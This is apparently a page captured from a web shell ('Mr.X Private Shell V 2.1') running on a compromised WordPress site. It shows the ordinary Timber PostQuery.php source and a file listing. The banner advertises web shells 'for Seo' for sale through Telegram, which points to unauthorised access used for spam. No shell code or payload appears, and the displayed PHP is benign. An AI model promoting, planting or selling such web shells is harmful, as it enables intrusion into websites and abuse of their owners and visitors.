__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
namespace Timber;
use Timber\Helper;
use Timber\Post;
use Timber\PostGetter;
/**
* A PostQuery allows a user to query for a Collection of WordPress Posts.
* PostCollections are used directly in Twig templates to iterate through and retrieve
* meta information about the collection of posts
* @api
* @package Timber
*/
class PostQuery extends PostCollection {
/**
* Found posts.
*
* The total amount of posts found for this query. Will be `0` if you used `no_found_rows` as a
* query parameter. Will be `null` if you passed in an existing collection of posts.
*
* @api
* @since 1.11.1
* @var int The amount of posts found in the query.
*/
public $found_posts = null;
protected $userQuery;
protected $queryIterator;
protected $pagination = null;
/**
* @param mixed $query
* @param string $post_class
*/
public function __construct( $query = false, $post_class = '\Timber\Post' ) {
$this->userQuery = $query;
$this->queryIterator = PostGetter::query_posts($query, $post_class);
if ( $this->queryIterator instanceof QueryIterator ) {
$this->found_posts = $this->queryIterator->found_posts();
}
$posts = $this->queryIterator->get_posts();
parent::__construct($posts, $post_class);
}
/**
* @return mixed the query the user orignally passed
* to the pagination object
*/
protected function get_query() {
return $this->userQuery;
}
/**
* Set pagination for the collection. Optionally could be used to get pagination with custom preferences.
*
* @param array $prefs
* @return Timber\Pagination object
*/
public function pagination( $prefs = array() ) {
if ( !$this->pagination && is_a($this->queryIterator, 'Timber\QueryIterator') ) {
$this->pagination = $this->queryIterator->get_pagination($prefs, $this->get_query());
}
return $this->pagination;
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| Cache | Folder | 0775 |
|
|
| Image | Folder | 0775 |
|
|
| Integrations | Folder | 0775 |
|
|
| Admin.php | File | 5.65 KB | 0775 |
|
| Archives.php | File | 10.65 KB | 0775 |
|
| Comment.php | File | 10.45 KB | 0775 |
|
| CommentThread.php | File | 3.58 KB | 0775 |
|
| Core.php | File | 2.69 KB | 0775 |
|
| CoreInterface.php | File | 231 B | 0775 |
|
| FunctionWrapper.php | File | 2.83 KB | 0775 |
|
| Helper.php | File | 14.42 KB | 0775 |
|
| Image.php | File | 15.64 KB | 0775 |
|
| ImageHelper.php | File | 22.06 KB | 0775 |
|
| Integrations.php | File | 717 B | 0775 |
|
| Loader.php | File | 10.02 KB | 0775 |
|
| LocationManager.php | File | 3.57 KB | 0775 |
|
| Menu.php | File | 8.52 KB | 0775 |
|
| MenuItem.php | File | 11.94 KB | 0775 |
|
| Pagination.php | File | 6.93 KB | 0775 |
|
| PathHelper.php | File | 1.76 KB | 0775 |
|
| Post.php | File | 52.58 KB | 0775 |
|
| PostCollection.php | File | 2.98 KB | 0775 |
|
| PostGetter.php | File | 6.51 KB | 0775 |
|
| PostPreview.php | File | 7.98 KB | 0775 |
|
| PostQuery.php | File | 1.81 KB | 0775 |
|
| PostType.php | File | 602 B | 0775 |
|
| PostsIterator.php | File | 247 B | 0775 |
|
| QueryIterator.php | File | 5.37 KB | 0775 |
|
| Request.php | File | 649 B | 0775 |
|
| Site.php | File | 6.23 KB | 0775 |
|
| Term.php | File | 12.26 KB | 0775 |
|
| TermGetter.php | File | 5.38 KB | 0775 |
|
| TextHelper.php | File | 4.72 KB | 0775 |
|
| Theme.php | File | 4.06 KB | 0775 |
|
| Timber.php | File | 15.84 KB | 0775 |
|
| Twig.php | File | 12.98 KB | 0775 |
|
| Twig_Filter.php | File | 650 B | 0775 |
|
| Twig_Function.php | File | 696 B | 0775 |
|
| URLHelper.php | File | 10.54 KB | 0775 |
|
| User.php | File | 7.94 KB | 0775 |
|